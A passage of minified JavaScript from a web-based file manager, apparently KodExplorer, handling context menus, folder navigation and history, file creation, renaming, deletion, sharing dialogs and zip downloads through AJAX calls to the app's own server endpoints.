n=ui.fileLight.type(ui.fileLight.fileListSelect());inArray(core.filetype.archive,n)?i.find(".unzip").removeClass(e):i.find(".unzip").addClass(e),inArray(core.filetype.image,n)?i.find(".setBackground").removeClass(e):i.find(".setBackground").addClass(e),"oexe"==n?i.find(".app_edit").removeClass(e):i.find(".app_edit").addClass(e),inArray(core.filetype.image,n)||inArray(core.filetype.music,n)||inArray(core.filetype.movie,n)||inArray(core.filetype.bindary,n)?i.find(".open_text").addClass(e):i.find(".open_text").removeClass(e)}if(a.hasClass("menufolder")||a.hasClass("menufile")||a.hasClass("menuTreeFolder")||a.hasClass("menuTreeFile")||a.hasClass("menuTreeFolderFav")){var o=".cute,.rname,.remove,.zip",s=".open,.open_text,.down,.share,.copy,.cute,.rname,.remove,.open_ie,.zip,.unzip_this,.unzip_folder,.search,.more_action";a.hasClass("file_not_readable")?i.find(s).addClass(t):i.find(s).removeClass(t),a.hasClass("file_not_writeable")?i.find(o).addClass(t):i.find(o).removeClass(t)}if(a.hasClass("dialog_menu")){var r=a.attr("id"),l=$.dialog.list[r],c=e;l.has_frame()?(i.find(".open_window").removeClass(c),i.find(".refresh").removeClass(c),i.find(".qrcode").removeClass(c)):(i.find(".open_window").addClass(c),i.find(".refresh").addClass(c),i.find(".qrcode").addClass(c)),$("."+r).hasClass("dialog-can-resize")?i.find(".dialog_max").removeClass(c):i.find(".dialog_max").addClass(c)}if(a.hasClass("menuMore")){var d=0;ui.fileLight.fileListSelect().each(function(){var e=core.pathExt(ui.fileLight.name($(this)));(inArray(core.filetype.music,e)||inArray(core.filetype.movie,e))&&(d+=1)}),0==d?i.find(".playmedia").addClass(e):i.find(".playmedia").removeClass(e)}(a.hasClass("menuZipListFolder")||a.hasClass("menuZipListFile"))&&(core.pathCurrentWriteable()?i.find(".unzip_this").removeClass(t):i.find(".unzip_this").addClass(t)),a.hasClass("toolPathMore")&&ui.fileLight.menuResetMore()}},isDisplay:function(){return 0==$(".context-menu-list:visible").length?!1:!0},hidden:function(){$(".context-menu-list").filter(":visible").filter(":not(.menuNotAutoHidden)").trigger("contextmenu:hide")}}}),define("app/src/editor/ui",[],function(){var e=function(){$(".tools-left a").click(function(){var e=$(this).attr("class");switch(e){case"home":tree.init();break;case"view":tree.explorer();break;case"folder":tree.create("folder");break;case"file":tree.create("txt");break;case"refresh":tree.refresh();break;default:}})};return{init:function(){tree.init(),e(),Mousetrap.bind(["ctrl+s","command+s"],function(e){e.preventDefault(),e.returnvalue=!1,ShareData.frameTop("OpenopenEditor",function(e){e.Editor.save()})})},setTheme:function(e){core.setSkin(e),ShareData.frameTop("OpenopenEditor",function(t){t.Editor.setTheme(e)})},editorFull:function(){var e=$("iframe[name=OpenopenEditor]");e.toggleClass("frame_fullscreen")},fileHistory:function(e){var t=G.project;if(G.sid!==void 0&&(t=t+"__"+G.sid),t="editorHistory_"+t,void 0==e){var i=LocalData.get(t);return i=jsonDecode(i),$.isArray(i)||(i=[]),i}LocalData.set(t,jsonEncode(e))}}}),define("app/src/explorer/path",["../../common/pathOperate","../../common/pathOpen","../../common/myPlayer"],function(e){var t=e("../../common/pathOperate"),i=e("../../common/pathOpen"),a=void 0;ui.pathOpen=i;var n=function(){if(G.json_data.info.path_type==G.KOD_USER_RECYCLE||G.json_data.info.path_type==G.KOD_USER_SHARE)return!0;var e=ui.fileLight.fileListSelect();return e.hasClass("systemBox")?(Tips.tips(LNG.path_can_not_action,"warning"),!1):!0},o=function(e,t,i,a){if(e){if("explorer"!=Config.pageApp)return core.explorer(e),void 0;if(e==G.this_path)return void 0!=t&&""!=t&&Tips.tips(LNG.path_is_current,"info"),void 0;if(G.this_path=e.replace(/\\/g,"/"),G.this_path=e.replace(/\/+/g,"/"),"/"!=G.this_path.substr(G.this_path.length-1)&&(G.this_path+="/"),$(".dialog_file_upload").length>0){var n="hidden"==$(".dialog_file_upload").css("visibility");core.upload(),n&&$(".dialog_file_upload").css("visibility","hidden")}if(G.sid!==void 0&&(window.location.href="#"+urlEncode(G.this_path)),core.playSound("folder_open"),ui.tree.setSelect(G.this_path),a||ui.path.history.add(G.this_path),"list_split"==G.user_config.list_type){var o=$(".split_box .file[data-path="+pathHashEncode(G.this_path)+"]");if(0!=o.length&&0!=o.find(".children_more_cert").length)return o.click(),void 0;$(".fileList_list_split .split_box").remove()}ui.f5Callback(function(){"function"==typeof i&&i()})}},s=function(){var e=[],t=60,i=0,a=function(a){var n=e.length-1;return n==i&&e[n]==a?r():(i!=n&&(e=e.slice(0,i+1)),e[e.length-1]!=a&&e.push(a),e.length>=t&&(e=e.slice(1)),i=e.length-1,r(),void 0)},n=function(){e.length-1>=i+1&&(o(e[++i],"","",!0),r())},s=function(){i-1>=0&&(o(e[--i],"","",!0),r())},r=function(){var t="disable",a=e.length-1;$("#history_next").addClass(t),$("#history_back").addClass(t),(0!=i||0!=a)&&(i>0&&a>=i&&$("#history_back").removeClass(t),i>=0&&i!=a&&$("#history_next").removeClass(t))};return{add:a,back:s,next:n,list:function(){return e}}}(),r=function(e){if(void 0!=e){"string"==typeof e&&(e=[e]);for(var t=0;e.length>t;t++)e[t]=trim(e[t],"/");ui.fileLight.clear(),ui.fileLight.fileListAll().each(function(){var t=trim(ui.fileLight.path($(this)),"/");t&&-1!=$.inArray(t,e)&&$(this).addClass(Config.SelectClassName)}),ui.fileLight.select(),ui.fileLight.setInView()}},l=function(e){if(""!=e){if(e=e.toLowerCase(),void 0==a||G.this_path!=a.path||e!=a.key){var t=[];ui.fileLight.fileListAll().each(function(){var i=ui.fileLight.name($(this)),a=ui.fileLight.path($(this));i&&e==i.substring(0,e.length).toLowerCase()&&t.push(a)}),a={key:e,path:G.this_path,index:0,list:t}}0!=a.list.length&&(r(a.list[a.index++]),a.index==a.list.length&&(a.index=0))}},c=function(e){return""==e?(ui.fileLight.clear(),void 0):(ui.fileLight.clear(),ui.fileLight.fileListAll().each(function(t){var i=ui.fileLight.name($(this));-1!=i.toLowerCase().indexOf(e)&&$(ui.fileLight.fileListAll()).eq(t).addClass(Config.SelectClassName)}),ui.fileLight.select(),ui.fileLight.setInView(),void 0)},d=function(e,t){var i=G.this_path+e;return void 0==t&&(i+="/"),0!=$('.bodymain .file[data-path="'+pathHashEncode(i)+'"]').length?!0:!1},p=function(e,t){var i,a=0,n="."+t;if((void 0==t||""==t)&&(n=""),!d(e+n,t))return e+n;for(i=e+"(0)"+n;d(i,t);)a++,i=e+"("+a+")"+n;return i},u=function(e,i){var a,n=0,o=G.json_data.folderlist,s=G.json_data.filelist,r=o,l=G.user_config.list_sort_field,c=G.user_config.list_sort_order,d={name:e,size:0,ext:i,mtime:date("Y/m/d H:i:s",time())};for("desktop"==Config.pageApp&&(n+=$(".menuDefault").length+1),"file"==i?(d.ext=core.pathExt(e),r=s,"up"==c&&(n+=o.length)):"down"==c&&(n+=s.length),a=0;r.length>a;a++)if("down"==c){if(-1==t.strSort(r[a][l],d[l]))break}else if(-1!=t.strSort(r[a][l],d[l]))break;return a+n-1},f=function(i,a,n){ui.fileLight.clear();var o=u(a,i),s=$(Config.FileBoxSelector);"list_split"==G.user_config.list_type&&(s=$(".split_box.split_select").find(".content"));var r=e("./tpl/file_create.html"),l=template.compile(r),c=l({type:i,newname:a,ext:n,list_type:G.user_config.list_type});if(-1==o||0==s.find(".file").length)s.html(c+s.html());else{var p=s.find(".file:eq("+o+")");0==p.length&&(p=s.find(".file").last()),"list_split"==G.user_config.list_type&&(p=$(".split_box.split_select .file").last()),$(c).insertAfter(p)}var f=$(".textarea .newfile"),h=a.length;"folder"!=i&&-1!=a.indexOf(".")&&(h=a.length-n.length-1),f.textSelect(0,h),"list_split"==G.user_config.list_type&&f.css("width",f.parents(".filename").width()-40),"icon"==G.user_config.list_type?($("#makefile").css({height:$("#makefile").width()+15,"margin-left":"3px",transition:"none"}),$("#makefile .textarea").css("margin-top","-13px")):$("#makefile .x-item-file").addClass("small"),"desktop"==Config.pageApp&&ui.resetDesktopIcon();var _=function(e){e===!1?$("#makefile").remove():m(e)},v=function(e){if(""==trim(e))return $("#makefile").remove(),Tips.tips(LNG.error,"warning"),void 0;if(d(e,n))$("#makefile").remove(),Tips.tips(LNG.path_exists,"warning");else{var a=G.this_path;"list_split"==G.user_config.list_type&&(a=ui.fileLight.path($(".file_icon_edit").parents(".split_box"))),"folder"==i?t.newFolder(a+e,_):t.newFile(a+e,_)}};ui.fileLight.setInView($(".fileContiner .file_icon_edit")),f.focus().autoTextarea(),f.unbind("keydown").keydown(function(e){13==e.keyCode&&(stopPP(e),e.preventDefault(),v(f.attr("value"))),27==e.keyCode&&$("#makefile").remove()}).unbind("blur").blur(function(){v(f.attr("value"))})},h=function(){var e="",i=ui.fileLight.fileListSelect(),a=ui.fileLight.name(i),o=core.pathFather(ui.fileLight.path(i)),s=ui.fileLight.type(i);if(1==i.length&&n()){if(i.hasClass("menuSharePath"))return ui.path.shareEdit(),void 0;var r=htmlEncode(rtrim(a,".oexe")),l="<input class='fix' id='pathRenameTextarea' value='"+r+"'/>";"icon"==G.user_config.list_type&&(l="<textarea class='fix' id='pathRenameTextarea'>"+r+"</textarea>",i.css({height:i.height()})),$(i).addClass("file_icon_edit").find(".title").html("<div class='textarea'>"+l+"<div>");var c=$("#pathRenameTextarea");"list_split"==G.user_config.list_type&&c.css({width:c.parents(".filename").width()-32,height:c.parents(".filename").height()+1});var d=a.length;"folder"!=s&&-1!=a.indexOf(".")&&(d=a.length-s.length-1),s||0!=a.indexOf(".")?c.textSelect(0,d):c.textSelect(0,a.length);var p=function(n){if("oexe"==s&&(n+=".oexe"),n!=a)e=o+a,n=o+n,t.rname(e,n,function(e){e===!1?$(i).removeClass("file_icon_edit").find(".title").html(htmlEncode(a)):m(e)});else{var r=a;".oexe"==r.substr(-5)&&(r=r.substr(0,r.length-5)),$(i).removeClass("file_icon_edit").find(".title").html(htmlEncode(r))}};c.focus().autoTextarea(),c.keydown(function(e){13==e.keyCode&&(e.preventDefault(),stopPP(e),p(c.attr("value"))),27==e.keyCode&&("oexe"==s&&(a=a.replace(".oexe","")),$(i).removeClass("file_icon_edit").find(".title").html(a))}).unbind("blur").blur(function(){p(c.val())})}},m=function(e){ui.fileLight.clear(),ui.f5Callback(function(){r(e),"explorer"==Config.pageApp&&ui.tree.checkIfChange(G.this_path)})},_=function(e){var t={},i=[];e.sort(function(e,t){return e.path==t.path?0:e.path>t.path?1:-1});for(var a=function(e){for(var i=e;""!=e;){if(t[e]!==void 0)return 1==t[e]?!0:i==e?(t[e]=1,!1):!0;e=core.pathFather(e)}return!1},n=0;e.length>n;n++)if("folder"==e[n].type){var o=rtrim(e[n].path,"/")+"/";t[o]||a(o)||(t[o]=0)}for(var n=0;e.length>n;n++){var o=e[n].path;"folder"==e[n].type&&(o=rtrim(o,"/")+"/"),a(o)||i.push(e[n])}return i},v=function(e){if(e){var t=[];return 0==ui.fileLight.fileListSelect().length?t:(ui.fileLight.fileListSelect().each(function(){var e=ui.fileLight.path($(this)),i="folder"==ui.fileLight.type($(this))?"folder":"file";t.push({path:e,type:i})}),_(t))}if(1!=ui.fileLight.fileListSelect().length)return{path:"",type:""};var i=ui.fileLight.fileListSelect(),a=ui.fileLight.path(i),n=ui.fileLight.type(i);return{path:a,type:n}},g=function(e,t){for(var i in G.json_data)if("filelist"==i||"folderlist"==i)for(var a=0;G.json_data[i].length>a;a++)if(G.json_data[i][a][e]==t)return G.json_data[i][a]};return{makeParam:v,history:s,getJsondataCell:g,checkSystemPath:n,appEdit:function(e){if(e)t.appEdit(0,0,"user_add");else{var i=ui.fileLight.fileListSelect().attr("data-app"),a=jsonDecode(base64Decode(i));a.path=ui.fileLight.path(ui.fileLight.fileListSelect()),t.appEdit(a)}},appList:function(){t.appList(v().path)},appInstall:function(){t.appInstall(v().path)},openEditor:function(){i.openEditor(v().path)},openWindow:function(){var e=v();return"folder"==e.type&&-1!=core.path2url(e.path).search("explorer/fileProxy")?(Tips.tips(LNG.path_can_not_action,!1),void 0):(i.openWindow(e.path),void 0)},open:function(e){if("editor"==Config.pageApp)return i.open(e),void 0;if(void 0!=e)return i.open(e),void 0;if(0!=ui.fileLight.fileListSelect().length){var t=v(),a=ui.fileLight.fileListSelect();if(inArray(core.filetype.image,t.type))return ui.picasa.initData(),ui.picasa.play($(a).find(".picasaImage")),void 0;if(0!=$(a).find(".file_not_exists").length)return Tips.tips(LNG.share_error_path,!1),void 0;if("oexe"==t.type){var n=a.attr("data-app");t.path=jsonDecode(base64Decode(n))}("list_split"!=G.user_config.list_type||"folder"!=t.type)&&i.open(t.path,t.type)}},play:function(){if(!(1>ui.fileLight.fileListSelect().length)){var e=[];ui.fileLight.fileListSelect().each(function(){var t=ui.fileLight.type($(this));if(inArray(core.filetype.music,t)||inArray(core.filetype.movie,t)){var i=ui.fileLight.path($(this)),a=core.path2url(i,!1);e.push({url:a,name:core.pathThis(i),ext:t})}}),i.play(e)}},pathOperate:t,share:function(){t.share(v())},setBackground:function(){var e=core.path2url(v().path);ShareData.frameTop("",function(t){t.ui.setWall(e)}),ui.setWall(e),t.setBackground(e)},createLink:function(e){var i=v(),a=ui.fileLight.fileListSelect().last();i.name=trim(a.find(".filename").text()),t.createLink(i.path,i.name,i.type,e,m)},createProject:function(){t.createProject(v().path,m)},download:function(){var e=v(!0);1==e.length&&"file"==e[0].type?i.download(v().path):t.zipDownload(e)},shareEdit:function(){var e=g("path",v().path);try{var i=G.json_data.share_list[e.sid];t.shareBox(i)}catch(a){}},shareOpenWindow:function(){var e=g("path",v().path),t=e.type;"folder"==e.type&&(t=1==e.code_read?"code_read":"folder");var i="./index.php?share/"+t+"&user="+G.json_data.info.id+"&sid="+e.sid;window.open(i)},shareOpenPath:function(){var e=v(),t=g("path",e.path);if(!t||!G.json_data.share_list)return i.open(e.path,e.type),void 0;var a=G.json_data.share_list[t.sid],n=core.pathFather(a.path),o=core.pathThis(a.path);"folder"==a.type?ui.path.list(a.path,""):ui.path.list(n,"",function(){r(o)})},explorer:function(){core.explorer(v().path)},explorerNew:function(){window.open("index.php?/explorer&path="+v().path)},openProject:function(){core.explorerCode(v().path)},search:function(){core.search("",v().path)},fav:function(){var e=v(),i=ui.fileLight.fileListSelect().last();e.name=trim(i.find(".filename").text()),t.fav(e)},recycleClear:function(){t.remove([{type:"recycle_clear",path:""}],function(){ui.f5()})},remove:function(e,i){if(n()){var a=v(!0);G.json_data.info&&G.json_data.info.path_type==G.KOD_USER_SHARE&&G.json_data.info.id==G.user_id&&-1==trim(G.this_path,"/").indexOf("/")&&$.each(a,function(e){var t=g("path",a[e].path);void 0!=t&&(a[e].type="share",a[e].path=t.sid)}),t.remove(a,m,e,i)}},favRemove:function(){var e=$(".file.select .filename");e.each(function(i){var a=trim($(this).text());i!=e.length-1?t.favRemove(a,"",!0):t.favRemove(a,function(e){Tips.tips(e),ui.tree.refreshFav()},!0)})},copy:function(){n()&&t.copy(v(!0))},cute:function(){n()&&t.cute(v(!0),ui.f5)},zip:function(e){t.zip(v(!0),m,e)},unZip:function(e){n()&&t.unZip(v().path,ui.f5,e)},cuteDrag:function(e){t.cuteDrag(v(!0),e,m)},copyDrag:function(e,i){t.copyDrag(v(!0),e,m,i)},copyTo:function(){core.api.pathSelect({type:"folder",title:LNG.copy_to},function(e){t.copyDrag(v(!0),e,m,!1)})},cuteTo:function(){core.api.pathSelect({type:"folder",title:LNG.cute_to},function(e){t.cuteDrag(v(!0),e,m)})},info:function(){t.info(v(!0))},past:function(){var e=G.this_path;"list_split"==G.user_config.list_type&&($containBox=$(".split_box.split_select"),1==$containBox.length&&(e=ui.fileLight.path($containBox))),t.past(e,m)},newFile:function(e){void 0==e&&(e="txt"),f("file",p("newfile",e),e)},newFolder:function(){f("folder",p(LNG.newfolder),"")},showFile:function(){var e="./index.php?share/file&sid="+G.sid+"&user="+G.user+"&path="+v().path;window.open(e)},rname:h,list:o,setSearchByStr:c,setSelectByChar:l,setSelectByFilename:r,clipboard:t.clipboard}}),define("app/common/pathOperate",[],function(e){var t=["/","\\",":","*","?",'"',"<",">","|"],i=["/","\\"],a=function(e){var a=function(e,t){for(var i=t.length,a=0;i>a;a++)if(e.indexOf(t[a])>0)return!0;return!1},n=i;return G.system_os&&"windows"==G.system_os&&(n=t),a(e,n)?(Tips.tips(LNG.path_not_allow+": "+n.join(", "),!1),!1):!0},n=function(e){for(var t=[],i=function(e){return e?e.replace(/"/g,'\\\\"'):e},a=0;e.length>a;a++)t.push({type:i(e[a].type),path:urlEncode(i(e[a].path))});return"data_arr="+jsonEncode(t)},o=function(e,t){for(var i="0123456789零一二三四五六七八九十百千万壹贰叁肆伍陆柒捌玖拾佰仟万",a=0;Math.max(e.length,t.length)>a;a++)if(e.charAt(a)!=t.charAt(a)){var n=i.indexOf(e.charAt(a)),o=i.indexOf(t.charAt(a));return-1!=n&&-1!=o?n>o?1:o>n?-1:0:e.charAt(a)>t.charAt(a)?1:e.charAt(a)<t.charAt(a)?-1:0}return 0},s=function(e,t){if(void 0==e||void 0==t)return 0;var i=/([0-9\.]+)/g,a=(""+e).toLowerCase()||"",n=(""+t).toLowerCase()||"",s=String.fromCharCode(0),r=a.replace(i,s+"$1"+s).split(s),l=n.replace(i,s+"$1"+s).split(s),c=new Date(a).getTime(),d=c?new Date(n).getTime():null;if(d){if(d>c)return-1;if(c>d)return 1}for(var p=0,u=Math.max(r.length,l.length);u>p;p++)if(oFxNcL=parseFloat(r[p])||r[p],oFyNcL=parseFloat(l[p])||l[p],oFxNcL!=oFyNcL)if("string"==typeof oFxNcL&&"string"==typeof oFyNcL){var f=o(oFxNcL,oFyNcL);if(0!=f)return f}else{if(oFyNcL>oFxNcL)return-1;if(oFxNcL>oFyNcL)return 1}return 0},r=function(e,t){if(e){var i=core.pathThis(e);return a(i)?($.ajax({dataType:"json",url:"index.php?explorer/mkfile&path="+urlEncode(e),beforeSend:function(){Tips.loading()},error:core.ajaxError,success:function(e){Tips.close(e),"function"==typeof t&&(e&&e.info?t(e.info):t(!1))}}),void 0):("function"==typeof t&&t(),void 0)}},l=function(e,t){if(e){var i=core.pathThis(e);return a(i)?($.ajax({dataType:"json",url:"index.php?explorer/mkdir&path="+urlEncode(e),beforeSend:function(){"function"==typeof t&&Tips.loading()},error:core.ajaxError,success:function(e){Tips.close(e),"function"==typeof t&&(e&&e.info?t(e.info):t(!1))}}),void 0):("function"==typeof t&&t(),void 0)}},c=function(e,t,i){return e&&t&&e!=t?a(core.pathThis(t))?($.ajax({type:"POST",dataType:"json",url:"index.php?explorer/pathRname",data:"path="+urlEncode(e)+"&rname_to="+urlEncode(t),beforeSend:function(){Tips.loading()},error:core.ajaxError,success:function(e){Tips.close(e),"function"==typeof i&&(e&&e.info?i(e.info):i(!1))}}),void 0):("function"==typeof i&&i(),void 0):void 0},d=function(e,t,i,a){if(i=void 0==i?!1:i,a=void 0==a?!1:a,window.event&&window.event.shiftKey&&(a=!0),!(1>e.length)){var o=LNG.remove_title,s=LNG.remove_info,r="index.php?explorer/pathDelete",l=n(e);if("share"==e[0].type&&(o=LNG.share_remove,s=LNG.share_remove_tips,r="index.php?userShare/del"),a&&(s=LNG.remove_info_force,o=LNG.remove_title_force,r+="&shiftDelete=1"),("recycle_clear"==e[0].type||G.USER_RECYCLE&&G.this_path==G.USER_RECYCLE||G.this_path==core.pathFather(G.myhome)+"recycle_kod/")&&(s=LNG.recycle_clear_info,r="index.php?explorer/pathDeleteRecycle",o=LNG.recycle_clear,"recycle_clear"==e[0].type&&(l={})),e[0]&&e[0].path){var c="<b>"+htmlEncode(core.pathThis(e[0].path))+"</b>";s=e.length>1?c+' ... <span class="badge">'+e.length+LNG.remove_item+"</span><br/>"+s:c+"<br/>"+s}var d=function(){$.ajax({url:r,type:"POST",dataType:"json",data:l,beforeSend:function(){Tips.loading()},error:core.ajaxError,success:function(i){if(Tips.close(i),ShareData.frameTop("",function(e){e.ui.f5()}),"share"==e[0].type){G.self_share=i.info;var a=$.dialog.list.share_dialog;void 0!=a&&a.close()}o==LNG.recycle_clear?core.playSound("recycle_clear"):core.playSound("file_remove"),"function"==typeof t&&t(i)}})};i?d():$.dialog({id:"dialog_path_remove",fixed:!0,icon:"question",title:o,padding:"40px 80px 40px 30px",lock:!0,background:"#000",opacity:.1,content:s,ok:d,cancel:!0})}},p=function(e){1>e.length||$.ajax({url:"index.php?explorer/pathCopy",type:"POST",dataType:"json",data:n(e),error:core.ajaxError,success:function(e){Tips.tips(e)}})},u=function(e){var t=e.path,i=core.pathPre(t);if(i==G.KOD_GROUP_PATH||i==G.KOD_GROUP_SHARE||i==G.KOD_USER_SHARE)return Tips.tips(LNG.path_can_not_action,"warning"),void 0;var a="folder"==e.type?"folder":"file";1>t.length||core.authCheck("userShare:set")&&$.ajax({url:"./index.php?userShare/checkByPath&path="+urlEncode(t),dataType:"json",error:core.ajaxError,success:function(e){if(e.code)f(e.data);else{G.self_share=e.info;var i={path:t,type:a,name:core.pathThis(t)};h(i,function(e){e.code?(G.self_share=e.info,ui.f5(),f(e.data)):(Tips.tips(e),f(void 0,function(){$(".content_info input[name=type]").val(a),$(".content_info input[name=path]").val(t),$(".content_info input[name=name]").val(core.pathThis(t)+"(1)"),"file"==a&&($(".label_code_read").addClass("hidden"),$(".label_can_upload").addClass("hidden"))}))})}}})},f=function(t,i){0!=$(".share_dialog").length&&$(".share_dialog").shake(3,30,100),e.async(["lib/jquery.datetimepicker/jquery.datetimepicker.css","lib/jquery.datetimepicker/jquery.datetimepicker.js"],function(){m(t),void 0!=i&&i()})},h=function(e,t){$.ajax({url:"index.php?userShare/set",data:e,type:"POST",dataType:"json",beforeSend:function(){$(".share_create_button").addClass("disabled")},error:function(){Tips.tips(LNG.error,!1)},success:function(e){$(".share_create_button").removeClass("disabled"),void 0!=t&&t(e)}})},m=function(t){var i=e("./tpl/share.html"),a=template.compile(i),n=a({LNG:LNG});$.dialog({id:"share_dialog",simple:!0,resize:!1,width:425,title:LNG.share,padding:"0",fixed:!0,content:n});var o="zh-CN"==G.lang?"ch":"en";$("#share_time").datetimepicker({format:"Y/m/d",formatDate:"Y/m/d",timepicker:!1,lang:o}),$("#share_time").unbind("blur").bind("blur",function(e){stopPP(e)});var s=function(e){if($(".share_setting_more").addClass("hidden"),void 0==e)$(".share_has_url").addClass("hidden"),$(".share_action .share_remove_button").addClass("hidden"),$(".content_info input[name=sid]").val(""),$(".content_info input[name=type]").val(""),$(".content_info input[name=name]").val(""),$(".content_info input[name=show_name]").val(""),$(".content_info input[name=path]").val(""),$(".content_info input[name=time_to]").val(""),$(".content_info input[name=share_password]").val(""),$(".share_view_info").addClass("hidden");else{e.can_upload===void 0&&(e.can_upload=""),t=e,e.show_name||(e.show_name=e.name),$(".content_info input[name=sid]").val(e.sid),$(".content_info input[name=type]").val(e.type),$(".content_info input[name=name]").val(e.name),$(".content_info input[name=show_name]").val(e.show_name),$(".content_info input[name=path]").val(e.path),$(".content_info input[name=time_to]").val(e.time_to),$(".content_info input[name=share_password]").val(e.share_password),$(".share_view_info").removeClass("hidden"),e.num_download===void 0&&(e.num_download=0),e.num_view===void 0&&(e.num_view=0);var i=LNG.share_view_num+e.num_view+" "+LNG.share_download_num+e.num_download;$(".share_view_info").html(i),"1"==e.code_read?$(".content_info input[name=code_read]").attr("checked","checked"):$(".content_info input[name=code_read]").removeAttr("checked"),"1"==e.not_download?$(".content_info input[name=not_download]").attr("checked","checked"):$(".content_info input[name=not_download]").removeAttr("checked"),"1"==e.can_upload?$(".content_info input[name=can_upload]").attr("checked","checked"):$(".content_info input[name=can_upload]").removeAttr("checked"),$(".share_has_url").removeClass("hidden"),"file"==e.type?($(".label_code_read").addClass("hidden"),$(".label_can_upload").addClass("hidden")):($(".label_code_read").removeClass("hidden"),$(".label_can_upload").removeClass("hidden"));var a=e.type;"folder"==e.type&&(a=1==e.code_read?"code_read":"folder");var n=G.app_host+"index.php?share/"+a+"&user="+G.user_id+"&sid="+e.sid;$(".content_info .share_url").val(n),(e.time_to||e.share_password||e.can_upload||e.code_read||e.not_download)&&$(".share_setting_more").removeClass("hidden"),$(".share_remove_button").removeClass("hidden"),$(".share_create_button").text(LNG.share_save)}},r=function(){$(".share_action .share_remove_button").unbind("click").click(function(){d([{type:"share",path:t.sid}],function(){ui.f5()})}),$(".content_info .share_more").unbind("click").click(function(){$(".share_setting_more").toggleClass("hidden")}),$(".share_action .share_create_button").unbind("click").click(function(){var e="";$(".share_dialog .content_info input[name]").each(function(){var t=urlEncode($(this).val());"checkbox"==$(this).attr("type")&&(t=$(this).attr("checked")?"1":""),e+="&"+$(this).attr("name")+"="+t}),h(e,function(e){e.code?(Tips.tips(LNG.success,!0),G.self_share=e.info,ui.f5(),s(e.data),$(".share_create_button").text(LNG.share_save)):Tips.tips(e)})}),$(".content_info .open_window").unbind("click").bind("click",function(){window.open($("input.share_url").val())}),$(".content_info .qrcode").unbind("click").bind("click",function(){core.qrcode($("input.share_url").val())});var e=$("input.share_url"),i=e.get(0);e.unbind("hover click").bind("hover click",function(){$(this).focus();var t=e.val().length;if($.browser.msie){var a=i.createTextRange();a.moveEnd("character",-i.value.length),a.moveEnd("character",t),a.moveStart("character",0),a.select()}else i.setSelectionRange(0,t)})};s(t),r()},_=function(e){$.ajax({url:"index.php?setting/set&k=wall&v="+urlEncode(e),dataType:"json",success:function(e){Tips.tips(e)}})},v=function(e,t,i,a,n){if(console.log(e,t,i,a,n),!(1>e.length)){var o,s=G.my_desktop;a&&(s=core.pathFather(e)),o="folder"==i?"ui.path.list(hashDecode('"+hashEncode(e)+"'));":"ui.path.open(hashDecode('"+hashEncode(e)+"'));";var r=urlEncode(s+t+".oexe"),l=core.getPathIcon(e);""==l.icon&&(l.icon=i),$.ajax({url:"./index.php?explorer/mkfile&path="+r,type:"POST",dataType:"json",data:{content:jsonEncode({type:"app_link",content:o,icon:l.icon})},success:function(e){Tips.tips(e),e.code&&(ShareData.frameTop("",function(e){e.ui.f5()}),"function"==typeof n&&n(e.info))}})}},g=function(e,t){if(!(1>e.length)){var i=core.pathThis(e),a=core.pathFather(e);jsrun="core.explorerCode('"+urlEncode(e)+"');";var n=urlEncode(a+i+"_project.oexe");$.ajax({url:"./index.php?explorer/mkfile&path="+n,type:"POST",dataType:"json",data:'content={"type":"app_link","content":"'+jsrun+'","icon":"folder.png"}',success:function(e){e.code&&"function"==typeof t&&t(e.info)}})}},b=function(e){1>e.length||$.ajax({url:"index.php?explorer/pathCute",type:"POST",dataType:"json",data:n(e),error:core.ajaxError,success:function(e){Tips.tips(e)}})},y=function(e,t){e&&(Tips.loading(LNG.moving),setTimeout(function(){var i="index.php?explorer/pathPast&path="+urlEncode(e);$.ajax({url:i,dataType:"json",error:core.ajaxError,success:function(e){Tips.close(e.data,e.code),"function"==typeof t&&t(e.info)}})},50))},k=function(t){var i={};i.file_info=e("./tpl/fileinfo/file_info.html"),i.path_info=e("./tpl/fileinfo/path_info.html"),i.path_info_more=e("./tpl/fileinfo/path_info_more.html"),1>t.length&&(t=[{path:G.this_path,type:"folder"}]);var a="info";1==t.length&&(a="file"==t[0].type?core.pathExt(t[0].path):"folder"),Tips.loading(LNG.getting),core.fileInfo(n(t),function(e){if(!e.code)return Tips.close(e),void 0;Tips.close(LNG.get_success,!0);var n="path_info_more",o=LNG.info;1==t.length&&(n="folder"==t[0].type?"path_info":"file_info",o=core.pathThis(t[0].path),o.length>15&&(o=o.substr(0,15)+"... "+LNG.info));var s=template.compile(i[n]),r=UUID();e.data.is_root=G.is_root,e.data.LNG=LNG,e.data.atime=date(LNG.time_type_info,e.data.atime),e.data.ctime=date(LNG.time_type_info,e.data.ctime),e.data.mtime=date(LNG.time_type_info,e.data.mtime),e.data.size_friendly=core.fileSize(e.data.size);var l=$.dialog({id:r,padding:5,ico:core.iconSmall(a),fixed:!0,title:o,content:s(e.data),ok:!0}),c=15*$(".aui_outer .pathinfo").length;l.DOM.wrap.css({left:"+="+c+"px",top:"+="+c+"px"}),w(r,t)})},w=function(e,t){var i=$("."+e);i.find(".open_window").bind("click",function(){window.open(i.find("input.download_url").val())}),i.find(".qrcode").unbind("click").bind("click",function(){core.qrcode(i.find("input.download_url").val(),i.find(".qrcode").get(0))});var a=i.find(".file_md5_loading");if(1==a.length){var o=n(t);o+="&get_md5=1",core.fileInfo(o,function(e){a.removeClass("file_md5_loading"),e.code?a.html(e.data.file_md5):a.html(LNG.error)})}var s=i.find("input.download_url"),r=s.get(0);s.unbind("hover click").bind("hover click",function(){$(this).focus();var e=s.val().length;if($.browser.msie){var t=r.createTextRange();t.moveEnd("character",-r.value.length),t.moveEnd("character",e),t.moveStart("character",0),t.select()}else r.setSelectionRange(0,e)}),i.find(".edit_chmod").click(function(){var e=$(this).parent().find("input"),i=$(this);$.ajax({url:"index.php?explorer/pathChmod&mod="+e.val(),type:"POST",data:n(t),beforeSend:function(){i.text(LNG.loading) +},error:function(){i.text(LNG.button_save)},success:function(e){i.text(e.data).animate({opacity:.6},400,0).delay(1e3).animate({opacity:1},200,0,function(){i.text(LNG.button_save)}),e.code&&ui.f5()}})})},x=function(e){if(core.authCheck("explorer:fileDownload")&&!(1>e.length)){var t="index.php?explorer/zipDownload";G.share_page!==void 0&&(t="index.php?share/zipDownload&user="+G.user+"&sid="+G.sid),$.ajax({url:t,type:"POST",dataType:"json",data:n(e),beforeSend:function(){Tips.loading(LNG.zip_download_ready)},error:core.ajaxError,success:function(e){Tips.close(e),Tips.tips(e);var t="index.php?explorer/fileDownloadRemove&path="+urlEncode(e.info);G.share_page!==void 